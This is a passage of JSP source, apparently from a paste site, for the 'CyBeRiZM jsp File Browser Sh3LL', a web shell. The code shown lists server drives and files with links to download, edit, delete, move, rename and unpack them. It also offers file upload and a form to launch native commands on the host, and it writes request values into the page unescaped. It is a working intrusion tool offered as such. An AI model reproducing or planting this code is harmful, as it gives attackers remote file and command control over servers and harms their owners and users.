  1715. <%
  1716. //Output message
  1717. if (request.getAttribute("message") != null) {
  1718. out.println("<table border=\"0\" width=\"100%\"><tr><td class=\"message\">");
  1719. out.println(request.getAttribute("message"));
  1720. out.println("</td></tr></table>");
  1721. }
  1722. //Output error
  1723. if (request.getAttribute("error") != null) {
  1724. out.println("<table border=\"0\" width=\"100%\"><tr><td class=\"error\">");
  1725. out.println(request.getAttribute("error"));
  1726. out.println("</td></tr></table>");
  1727. }
  1728. if (request.getAttribute("dir") != null){
  1729. %>
  1730.  
  1731. <form class="formular" action="<%= browser_name %>" method="Post" name="FileList">
  1732. Filename filter: <input name="filt" onKeypress="event.cancelBubble=true;" onkeyup="filter(this)" type="text">
  1733. <br /><br />
  1734. <table id="filetable" class="filelist" cellspacing="1px" cellpadding="0px">
  1735. <%
  1736. // Output the table, starting with the headers.
  1737. String dir = URLEncoder.encode("" + request.getAttribute("dir"));
  1738. String cmd = browser_name + "?dir=" + dir;
  1739. int sortMode = 1;
  1740. if (request.getParameter("sort") != null) sortMode = Integer.parseInt(request
  1741. .getParameter("sort"));
  1742. int[] sort = new int[] {1, 2, 3, 4};
  1743. for (int i = 0; i < sort.length; i++)
  1744. if (sort[i] == sortMode) sort[i] = -sort[i];
  1745. out.print("<tr><th>&nbsp;</th><th title=\"Sort files by name\" align=left><a href=\""
  1746. + cmd + "&amp;sort=" + sort[0] + "\">Name</a></th>"
  1747. + "<th title=\"Sort files by size\" align=\"right\"><a href=\"" + cmd
  1748. + "&amp;sort=" + sort[1] + "\">Size</a></th>"
  1749. + "<th title=\"Sort files by type\" align=\"center\"><a href=\"" + cmd
  1750. + "&amp;sort=" + sort[3] + "\">Type</a></th>"
  1751. + "<th title=\"Sort files by date\" align=\"left\"><a href=\"" + cmd
  1752. + "&amp;sort=" + sort[2] + "\">Date</a></th>"
  1753. + "<th>&nbsp;</th>");
  1754. if (!READ_ONLY) out.print ("<th>&nbsp;</th>");
  1755. out.println("</tr>");
  1756. char trenner = File.separatorChar;
  1757. // Output the Root-Dirs, without FORBIDDEN_DRIVES
  1758. File[] entry = File.listRoots();
  1759. for (int i = 0; i < entry.length; i++) {
  1760. boolean forbidden = false;
  1761. for (int i2 = 0; i2 < FORBIDDEN_DRIVES.length; i2++) {
  1762. if (entry[i].getAbsolutePath().toLowerCase().equals(FORBIDDEN_DRIVES[i2])) forbidden = true;
  1763. }
  1764. if (!forbidden) {
  1765. out.println("<tr class=\"mouseout\" onmouseover=\"this.className='mousein'\""
  1766. + "onmouseout=\"this.className='mouseout'\">");
  1767. out.println("<td>&nbsp;</td><td align=left >");
  1768. String name = URLEncoder.encode(entry[i].getAbsolutePath());
  1769. String buf = entry[i].getAbsolutePath();
  1770. out.println(" &nbsp;<a href=\"" + browser_name + "?sort=" + sortMode
  1771. + "&amp;dir=" + name + "\">[" + buf + "]</a>");
  1772. out.print("</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr>");
  1773. }
  1774. }
  1775. // Output the parent directory link ".."
  1776. if (f.getParent() != null) {
  1777. out.println("<tr class=\"mouseout\" onmouseover=\"this.className='mousein'\""
  1778. + "onmouseout=\"this.className='mouseout'\">");
  1779. out.println("<td></td><td align=left>");
  1780. out.println(" &nbsp;<a href=\"" + browser_name + "?sort=" + sortMode + "&amp;dir="
  1781. + URLEncoder.encode(f.getParent()) + "\">" + FOL_IMG + "[..]</a>");
  1782. out.print("</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr>");
  1783. }
  1784. // Output all files and dirs and calculate the number of files and total size
  1785. entry = f.listFiles();
  1786. if (entry == null) entry = new File[] {};
  1787. long totalSize = 0; // The total size of the files in the current directory
  1788. long fileCount = 0; // The count of files in the current working directory
  1789. if (entry != null && entry.length > 0) {
  1790. Arrays.sort(entry, new FileComp(sortMode));
  1791. for (int i = 0; i < entry.length; i++) {
  1792. String name = URLEncoder.encode(entry[i].getAbsolutePath());
  1793. String type = "File"; // This String will tell the extension of the file
  1794. if (entry[i].isDirectory()) type = "DIR"; // It's a DIR
  1795. else {
  1796. String tempName = entry[i].getName().replace(' ', '_');
  1797. if (tempName.lastIndexOf('.') != -1) type = tempName.substring(
  1798. tempName.lastIndexOf('.')).toLowerCase();
  1799. }
  1800. String ahref = "<a onmousedown=\"dis()\" href=\"" + browser_name + "?sort="
  1801. + sortMode + "&amp;";
  1802. String dlink = "&nbsp;"; // The "Download" link
  1803. String elink = "&nbsp;"; // The "Edit" link
  1804. String buf = conv2Html(entry[i].getName());
  1805. if (!entry[i].canWrite()) buf = "<i>" + buf + "</i>";
  1806. String link = buf; // The standard view link, uses Mime-type
  1807. if (entry[i].isDirectory()) {
  1808. if (entry[i].canRead() && USE_DIR_PREVIEW) {
  1809. //Show the first DIR_PREVIEW_NUMBER directory entries in a tooltip
  1810. File[] fs = entry[i].listFiles();
  1811. if (fs == null) fs = new File[] {};
  1812. Arrays.sort(fs, new FileComp());
  1813. StringBuffer filenames = new StringBuffer();
  1814. for (int i2 = 0; (i2 < fs.length) && (i2 < 10); i2++) {
  1815. String fname = conv2Html(fs[i2].getName());
  1816. if (fs[i2].isDirectory()) filenames.append("[" + fname + "];");
  1817. else filenames.append(fname + ";");
  1818. }
  1819. if (fs.length > DIR_PREVIEW_NUMBER) filenames.append("...");
  1820. else if (filenames.length() > 0) filenames
  1821. .setLength(filenames.length() - 1);
  1822. link = ahref + "dir=" + name + "\" title=\"" + filenames + "\">"
  1823. + FOL_IMG + "[" + buf + "]</a>";
  1824. }
  1825. else if (entry[i].canRead()) {
  1826. link = ahref + "dir=" + name + "\">" + FOL_IMG + "[" + buf + "]</a>";
  1827. }
  1828. else link = FOL_IMG + "[" + buf + "]";
  1829. }
  1830. else if (entry[i].isFile()) { //Entry is file
  1831. totalSize = totalSize + entry[i].length();
  1832. fileCount = fileCount + 1;
  1833. if (entry[i].canRead()) {
  1834. dlink = ahref + "downfile=" + name + "\">Download</a>";
  1835. //If you click at the filename
  1836. if (USE_POPUP) link = ahref + "file=" + name + "\" target=\"_blank\">"
  1837. + buf + "</a>";
  1838. else link = ahref + "file=" + name + "\">" + buf + "</a>";
  1839. if (entry[i].canWrite()) { // The file can be edited
  1840. //If it is a zip or jar File you can unpack it
  1841. if (isPacked(name, true)) elink = ahref + "unpackfile=" + name
  1842. + "\">Unpack</a>";
  1843. else elink = ahref + "editfile=" + name + "\">Edit</a>";
  1844. }
  1845. else { // If the file cannot be edited
  1846. //If it is a zip or jar File you can unpack it
  1847. if (isPacked(name, true)) elink = ahref + "unpackfile=" + name
  1848. + "\">Unpack</a>";
  1849. else elink = ahref + "editfile=" + name + "\">View</a>";
  1850. }
  1851. }
  1852. else {
  1853. link = buf;
  1854. }
  1855. }
  1856. String date = dateFormat.format(new Date(entry[i].lastModified()));
  1857. out.println("<tr class=\"mouseout\" onmouseup=\"selrow(this, 2)\" "
  1858. + "onmouseover=\"selrow(this, 0);\" onmouseout=\"selrow(this, 1)\">");
  1859. if (entry[i].canRead()) {
  1860. out.println("<td align=center><input type=\"checkbox\" name=\"selfile\" value=\""
  1861. + name + "\" onmousedown=\"dis()\"></td>");
  1862. }
  1863. else {
  1864. out.println("<td align=center><input type=\"checkbox\" name=\"selfile\" disabled></td>");
  1865. }
  1866. out.print("<td align=left> &nbsp;" + link + "</td>");
  1867. if (entry[i].isDirectory()) out.print("<td>&nbsp;</td>");
  1868. else {
  1869. out.print("<td align=right title=\"" + entry[i].length() + " bytes\">"
  1870. + convertFileSize(entry[i].length()) + "</td>");
  1871. }
  1872. out.println("<td align=\"center\">" + type + "</td><td align=left> &nbsp;" + // The file type (extension)
  1873. date + "</td><td>" + // The date the file was created
  1874. dlink + "</td>"); // The download link
  1875. if (!READ_ONLY)
  1876. out.print ("<td>" + elink + "</td>"); // The edit link (or view, depending)
  1877. out.println("</tr>");
  1878. }
  1879. }%>
  1880. </table>
  1881. <input type="checkbox" name="selall" onClick="AllFiles(this.form)">Select all
  1882. <p align=center>
  1883. <b title="<%=totalSize%> bytes">
  1884. <%=convertFileSize(totalSize)%></b><b> in <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%>
  1885. </b>
  1886. </p>
  1887. <input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
  1888. <input type="hidden" name="sort" value="<%=sortMode%>">
  1889. <input title="Download selected files and directories as one zip file" class="button" id="but_Zip" type="Submit" name="Submit" value="<%=SAVE_AS_ZIP%>">
  1890. <% if (!READ_ONLY) {%>
  1891. <input title="Delete all selected files and directories incl. subdirs" class="button" id="but_Del" type="Submit" name="Submit" value="<%=DELETE_FILES%>"
  1892. onclick="return confirm('Do you really want to delete the entries?')">
  1893. <% } %>
  1894. <% if (!READ_ONLY) {%>
  1895. <br />
  1896. <input title="Enter new dir or filename or the relative or absolute path" class="textfield" type="text" onKeypress="event.cancelBubble=true;" id="text_Dir" name="cr_dir">
  1897. <input title="Create a new directory with the given name" class="button" id="but_NDi" type="Submit" name="Submit" value="<%=CREATE_DIR%>">
  1898. <input title="Create a new empty file with the given name" class="button" id="but_NFi" type="Submit" name="Submit" value="<%=CREATE_FILE%>">
  1899. <input title="Move selected files and directories to the entered path" id="but_Mov" class="button" type="Submit" name="Submit" value="<%=MOVE_FILES%>">
  1900. <input title="Copy selected files and directories to the entered path" id="but_Cop" class="button" type="Submit" name="Submit" value="<%=COPY_FILES%>">
  1901. <input title="Rename selected file or directory to the entered name" id="but_Ren" class="button" type="Submit" name="Submit" value="<%=RENAME_FILE%>">
  1902. <% } %>
  1903. </form>
  1904. <br />
  1905. <div class="formular">
  1906. <% if (ALLOW_UPLOAD) { %>
  1907. <form class="formular2" action="<%= browser_name%>" enctype="multipart/form-data" method="POST">
  1908. <input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
  1909. <input type="hidden" name="sort" value="<%=sortMode%>">
  1910. <input type="file" class="textfield" onKeypress="event.cancelBubble=true;" name="myFile">
  1911. <input title="Upload selected file to the current working directory" type="Submit" class="button" name="Submit" value="<%=UPLOAD_FILES%>"
  1912. onClick="javascript:popUp('<%= browser_name%>')">
  1913. </form>
  1914. <%} %>
  1915. <% if (NATIVE_COMMANDS) {%>
  1916. <form class="formular2" action="<%= browser_name%>" method="POST">
  1917. <input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
  1918. <input type="hidden" name="sort" value="<%=sortMode%>">
  1919. <input type="hidden" name="command" value="">
  1920. <input title="Launch command in current directory" type="Submit" class="button" id="but_Lau" name="Submit" value="<%=LAUNCH_COMMAND%>">
  1921. </form><%
  1922. }%>
  1923. </div>
  1924. <%}%>
  1925. <hr>
  1926. <center>
  1927. <small>CyBeRiZM jsp File Browser Sh3LL <%= VERSION_NR%> by <a href="http://www.cyberizm.org">www.cyberizm.org</a></small>
  1928. </center>
  1929. </body>
  1930. </html><%
  1931. }
  1932. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement